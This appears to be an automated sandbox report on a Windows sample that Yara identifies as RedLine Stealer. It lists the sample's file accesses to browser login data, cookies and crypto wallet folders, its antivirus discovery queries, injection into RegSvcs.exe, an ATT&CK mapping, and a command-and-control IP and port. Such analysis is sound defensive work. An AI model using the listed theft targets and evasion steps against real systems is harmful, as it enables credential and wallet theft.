Source: C:\Users\user\Desktop\yGu4YUwMl6.exe	Queries volume information: C:\Windows\Fonts\trebucbi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\yGu4YUwMl6.exe	Queries volume information: C:\Windows\Fonts\verdana.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\yGu4YUwMl6.exe	Queries volume information: C:\Windows\Fonts\verdanai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\yGu4YUwMl6.exe	Queries volume information: C:\Windows\Fonts\verdanab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\yGu4YUwMl6.exe	Queries volume information: C:\Windows\Fonts\verdanaz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\yGu4YUwMl6.exe	Queries volume information: C:\Windows\Fonts\webdings.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\yGu4YUwMl6.exe	Queries volume information: C:\Windows\Fonts\wingding.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\yGu4YUwMl6.exe	Queries volume information: C:\Windows\Fonts\YuGothR.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\yGu4YUwMl6.exe	Queries volume information: C:\Windows\Fonts\YuGothM.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\yGu4YUwMl6.exe	Queries volume information: C:\Windows\Fonts\YuGothL.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\yGu4YUwMl6.exe	Queries volume information: C:\Windows\Fonts\YuGothB.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\yGu4YUwMl6.exe	Queries volume information: C:\Windows\Fonts\YuGothM.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\yGu4YUwMl6.exe	Queries volume information: C:\Windows\Fonts\YuGothR.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\yGu4YUwMl6.exe	Queries volume information: C:\Windows\Fonts\holomdl2.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\yGu4YUwMl6.exe	Queries volume information: C:\Windows\Fonts\AGENCYR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\yGu4YUwMl6.exe	Queries volume information: C:\Windows\Fonts\AGENCYB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\yGu4YUwMl6.exe	Queries volume information: C:\Windows\Fonts\BELLB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\yGu4YUwMl6.exe	Queries volume information: C:\Windows\Fonts\BERNHC.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\yGu4YUwMl6.exe	Queries volume information: C:\Windows\Fonts\BOD_BLAI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\yGu4YUwMl6.exe	Queries volume information: C:\Windows\Fonts\BRLNSR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\yGu4YUwMl6.exe	Queries volume information: C:\Windows\Fonts\BRLNSDB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\yGu4YUwMl6.exe	Queries volume information: C:\Windows\Fonts\BRLNSB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\yGu4YUwMl6.exe	Queries volume information: C:\Windows\Fonts\BROADW.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\yGu4YUwMl6.exe	Queries volume information: C:\Windows\Fonts\BRUSHSCI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\yGu4YUwMl6.exe	Queries volume information: C:\Windows\Fonts\BSSYM7.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\yGu4YUwMl6.exe	Queries volume information: C:\Windows\Fonts\CALIFB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\yGu4YUwMl6.exe	Queries volume information: C:\Windows\Fonts\CALIST.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\yGu4YUwMl6.exe	Queries volume information: C:\Windows\Fonts\CALISTI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\yGu4YUwMl6.exe	Queries volume information: C:\Windows\Fonts\CENSCBK.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\yGu4YUwMl6.exe	Queries volume information: C:\Windows\Fonts\SCHLBKI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\yGu4YUwMl6.exe	Queries volume information: C:\Windows\Fonts\SCHLBKB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\yGu4YUwMl6.exe	Queries volume information: C:\Windows\Fonts\SCHLBKBI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\yGu4YUwMl6.exe	Queries volume information: C:\Windows\Fonts\CENTAUR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\yGu4YUwMl6.exe	Queries volume information: C:\Windows\Fonts\COPRGTL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\yGu4YUwMl6.exe	Queries volume information: C:\Windows\Fonts\COPRGTB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\yGu4YUwMl6.exe	Queries volume information: C:\Windows\Fonts\DUBAI-MEDIUM.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\yGu4YUwMl6.exe	Queries volume information: C:\Windows\Fonts\FRSCRIPT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\yGu4YUwMl6.exe	Queries volume information: C:\Windows\Fonts\GOTHICI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\yGu4YUwMl6.exe	Queries volume information: C:\Windows\Fonts\GOTHICB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\yGu4YUwMl6.exe	Queries volume information: C:\Windows\Fonts\GOTHICBI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\yGu4YUwMl6.exe	Queries volume information: C:\Windows\Fonts\GOUDOS.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\yGu4YUwMl6.exe	Queries volume information: C:\Windows\Fonts\HATTEN.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\yGu4YUwMl6.exe	Queries volume information: C:\Windows\Fonts\LCALLIG.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\yGu4YUwMl6.exe	Queries volume information: C:\Windows\Fonts\LFAXD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\yGu4YUwMl6.exe	Queries volume information: C:\Windows\Fonts\LSANS.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\yGu4YUwMl6.exe	Queries volume information: C:\Windows\Fonts\MAGNETOB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\yGu4YUwMl6.exe	Queries volume information: C:\Windows\Fonts\OCRAEXT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\yGu4YUwMl6.exe	Queries volume information: C:\Windows\Fonts\OLDENGL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\yGu4YUwMl6.exe	Queries volume information: C:\Windows\Fonts\PERTILI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\yGu4YUwMl6.exe	Queries volume information: C:\Windows\Fonts\REFSPCL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\yGu4YUwMl6.exe	Queries volume information: C:\Windows\Fonts\TCMI____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\yGu4YUwMl6.exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\yGu4YUwMl6.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel\v4.0_4.0.0.0__b77a5c561934e089\System.ServiceModel.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\SMDiagnostics\v4.0_4.0.0.0__b77a5c561934e089\SMDiagnostics.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel.Internals\v4.0_4.0.0.0__31bf3856ad364e35\System.ServiceModel.Internals.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.IdentityModel\v4.0_4.0.0.0__b77a5c561934e089\System.IdentityModel.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.CSharp\v4.0_4.0.0.0__b03f5f7f11d50a3a\Microsoft.CSharp.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Dynamic\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Dynamic.dll VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\yGu4YUwMl6.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntivirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM AntivirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiSpyWareProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM AntiSpyWareProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM FirewallProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM FirewallProduct

Stealing of Sensitive Information

Yara detected RedLine Stealer

Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: 0.2.yGu4YUwMl6.exe.40f8350.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.RegSvcs.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.yGu4YUwMl6.exe.4110170.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.yGu4YUwMl6.exe.4110170.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.yGu4YUwMl6.exe.40f8350.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000003.00000002.1867602795.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1769436422.00000000040F8000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: yGu4YUwMl6.exe PID: 7276, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegSvcs.exe PID: 7452, type: MEMORYSTR

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Roaming\atomic\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Roaming\Ethereum\wallets\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\	Jump to behavior

Source: Yara match	File source: 0.2.yGu4YUwMl6.exe.40f8350.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.RegSvcs.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.yGu4YUwMl6.exe.4110170.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.yGu4YUwMl6.exe.4110170.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.yGu4YUwMl6.exe.40f8350.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000003.00000002.1867602795.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1769436422.00000000040F8000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: yGu4YUwMl6.exe PID: 7276, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegSvcs.exe PID: 7452, type: MEMORYSTR

Remote Access Functionality

Yara detected RedLine Stealer

Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: 0.2.yGu4YUwMl6.exe.40f8350.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.RegSvcs.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.yGu4YUwMl6.exe.4110170.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.yGu4YUwMl6.exe.4110170.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.yGu4YUwMl6.exe.40f8350.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000003.00000002.1867602795.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1769436422.00000000040F8000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: yGu4YUwMl6.exe PID: 7276, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegSvcs.exe PID: 7452, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	221 Windows Management Instrumentation	1 DLL Side-Loading	311 Process Injection	11 Masquerading	1 OS Credential Dumping	221 Security Software Discovery	Remote Services	1 Archive Collected Data	11 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	1 DLL Side-Loading	1 Disable or Modify Tools	LSASS Memory	1 Process Discovery	Remote Desktop Protocol	2 Data from Local System	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	241 Virtualization/Sandbox Evasion	Security Account Manager	241 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	311 Process Injection	NTDS	1 Application Window Discovery	Distributed Component Object Model	Input Capture	3 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	2 Obfuscated Files or Information	LSA Secrets	113 System Information Discovery	SSH	Keylogging	14 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	12 Software Packing	Cached Domain Credentials	Wi-Fi Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 DLL Side-Loading	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
yGu4YUwMl6.exe	71%	Virustotal		Browse
yGu4YUwMl6.exe	71%	ReversingLabs	ByteCode-MSIL.Trojan.AgentTesla
yGu4YUwMl6.exe	100%	Avira	HEUR/AGEN.1309734

Source	Detection	Scanner	Label
http://185.222.58.44:5	0%	Avira URL Cloud	safe
http://185.222.58.44:55615/	0%	Avira URL Cloud	safe
http://185.222.58.44:55615	0%	Avira URL Cloud	safe
185.222.58.44:55615	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
api.ip.sb.cdn.cloudflare.net	104.26.12.31	true	false		high
api.ip.sb	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://api.ip.sb/geoip	false		high
http://185.222.58.44:55615/	true	Avira URL Cloud: safe	unknown
185.222.58.44:55615	true	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	tmpBB13.tmp.3.dr, tmp848F.tmp.3.dr, tmp845D.tmp.3.dr, tmp846D.tmp.3.dr, tmp84BF.tmp.3.dr, tmp844C.tmp.3.dr, tmp848E.tmp.3.dr, tmp4D59.tmp.3.dr, tmp4D7B.tmp.3.dr, tmp843B.tmp.3.dr, tmp4D6A.tmp.3.dr, tmp847E.tmp.3.dr	false		high
http://www.fontbureau.com/designersG	yGu4YUwMl6.exe, 00000000.00000002.1771731563.0000000006792000.00000004.00000800.00020000.00000000.sdmp	false		high
https://duckduckgo.com/ac/?q=	tmpBB13.tmp.3.dr, tmp848F.tmp.3.dr, tmp845D.tmp.3.dr, tmp846D.tmp.3.dr, tmp84BF.tmp.3.dr, tmp844C.tmp.3.dr, tmp848E.tmp.3.dr, tmp4D59.tmp.3.dr, tmp4D7B.tmp.3.dr, tmp843B.tmp.3.dr, tmp4D6A.tmp.3.dr, tmp847E.tmp.3.dr	false		high
http://www.fontbureau.com/designers/?	yGu4YUwMl6.exe, 00000000.00000002.1771731563.0000000006792000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.founder.com.cn/cn/bThe	yGu4YUwMl6.exe, 00000000.00000002.1771731563.0000000006792000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/08/addressing/faultX	RegSvcs.exe, 00000003.00000002.1869525432.00000000028A1000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.fontbureau.com/designers?	yGu4YUwMl6.exe, 00000000.00000002.1771731563.0000000006792000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Endpoint/EnvironmentSettings	RegSvcs.exe, 00000003.00000002.1869525432.00000000028F0000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000003.00000002.1869525432.00000000028A1000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/soap/envelope/	RegSvcs.exe, 00000003.00000002.1869525432.00000000028A1000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.222.58.44:5	RegSvcs.exe, 00000003.00000002.1869525432.0000000002C7E000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.tiro.com	yGu4YUwMl6.exe, 00000000.00000002.1771731563.0000000006792000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/	RegSvcs.exe, 00000003.00000002.1869525432.0000000002931000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	tmpBB13.tmp.3.dr, tmp848F.tmp.3.dr, tmp845D.tmp.3.dr, tmp846D.tmp.3.dr, tmp84BF.tmp.3.dr, tmp844C.tmp.3.dr, tmp848E.tmp.3.dr, tmp4D59.tmp.3.dr, tmp4D7B.tmp.3.dr, tmp843B.tmp.3.dr, tmp4D6A.tmp.3.dr, tmp847E.tmp.3.dr	false		high
http://www.fontbureau.com/designers	yGu4YUwMl6.exe, 00000000.00000002.1771731563.0000000006792000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.goodfont.co.kr	yGu4YUwMl6.exe, 00000000.00000002.1771731563.0000000006792000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Endpoint/VerifyUpdateResponse	RegSvcs.exe, 00000003.00000002.1869525432.00000000028A1000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Endpoint/SetEnvironment	RegSvcs.exe, 00000003.00000002.1869525432.0000000002931000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Endpoint/SetEnvironmentResponse	RegSvcs.exe, 00000003.00000002.1869525432.00000000028A1000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.sajatypeworks.com	yGu4YUwMl6.exe, 00000000.00000002.1771731563.0000000006792000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Endpoint/GetUpdates	RegSvcs.exe, 00000003.00000002.1869525432.0000000002A1E000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000003.00000002.1869525432.00000000028A1000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.typography.netD	yGu4YUwMl6.exe, 00000000.00000002.1771731563.0000000006792000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.founder.com.cn/cn/cThe	yGu4YUwMl6.exe, 00000000.00000002.1771731563.0000000006792000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.galapagosdesign.com/staff/dennis.htm	yGu4YUwMl6.exe, 00000000.00000002.1771731563.0000000006792000.00000004.00000800.00020000.00000000.sdmp	false		high
https://api.ipify.orgcookies//settinString.Removeg	yGu4YUwMl6.exe, 00000000.00000002.1769436422.00000000040F8000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, RegSvcs.exe, 00000003.00000002.1867602795.0000000000402000.00000040.00000400.00020000.00000000.sdmp	false		high
http://185.222.58.44:55615	RegSvcs.exe, 00000003.00000002.1869525432.0000000002A1E000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000003.00000002.1869525432.00000000028A1000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	tmpBB13.tmp.3.dr, tmp848F.tmp.3.dr, tmp845D.tmp.3.dr, tmp846D.tmp.3.dr, tmp84BF.tmp.3.dr, tmp844C.tmp.3.dr, tmp848E.tmp.3.dr, tmp4D59.tmp.3.dr, tmp4D7B.tmp.3.dr, tmp843B.tmp.3.dr, tmp4D6A.tmp.3.dr, tmp847E.tmp.3.dr	false		high
http://www.galapagosdesign.com/DPlease	yGu4YUwMl6.exe, 00000000.00000002.1771731563.0000000006792000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Endpoint/VerifyUpdate	RegSvcs.exe, 00000003.00000002.1869525432.00000000028A1000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/0	RegSvcs.exe, 00000003.00000002.1869525432.00000000028A1000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.fonts.com	yGu4YUwMl6.exe, 00000000.00000002.1771731563.0000000006792000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.sandoll.co.kr	yGu4YUwMl6.exe, 00000000.00000002.1771731563.0000000006792000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.urwpp.deDPlease	yGu4YUwMl6.exe, 00000000.00000002.1771731563.0000000006792000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.zhongyicts.com.cn	yGu4YUwMl6.exe, 00000000.00000002.1771731563.0000000006792000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	RegSvcs.exe, 00000003.00000002.1869525432.00000000028A1000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.sakkal.com	yGu4YUwMl6.exe, 00000000.00000002.1771731563.0000000006792000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ipinfo.io/ip%appdata%	yGu4YUwMl6.exe, 00000000.00000002.1769436422.00000000040F8000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, RegSvcs.exe, 00000003.00000002.1867602795.0000000000402000.00000040.00000400.00020000.00000000.sdmp	false		high
http://www.apache.org/licenses/LICENSE-2.0	yGu4YUwMl6.exe, 00000000.00000002.1771731563.0000000006792000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.fontbureau.com	yGu4YUwMl6.exe, 00000000.00000002.1771731563.0000000006792000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	tmpBB13.tmp.3.dr, tmp848F.tmp.3.dr, tmp845D.tmp.3.dr, tmp846D.tmp.3.dr, tmp84BF.tmp.3.dr, tmp844C.tmp.3.dr, tmp848E.tmp.3.dr, tmp4D59.tmp.3.dr, tmp4D7B.tmp.3.dr, tmp843B.tmp.3.dr, tmp4D6A.tmp.3.dr, tmp847E.tmp.3.dr	false		high
http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous	RegSvcs.exe, 00000003.00000002.1869525432.00000000028A1000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Endpoint/CheckConnectResponse	RegSvcs.exe, 00000003.00000002.1869525432.00000000028A1000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.datacontract.org/2004/07/	RegSvcs.exe, 00000003.00000002.1869525432.0000000002931000.00000004.00000800.00020000.00000000.sdmp	false		high
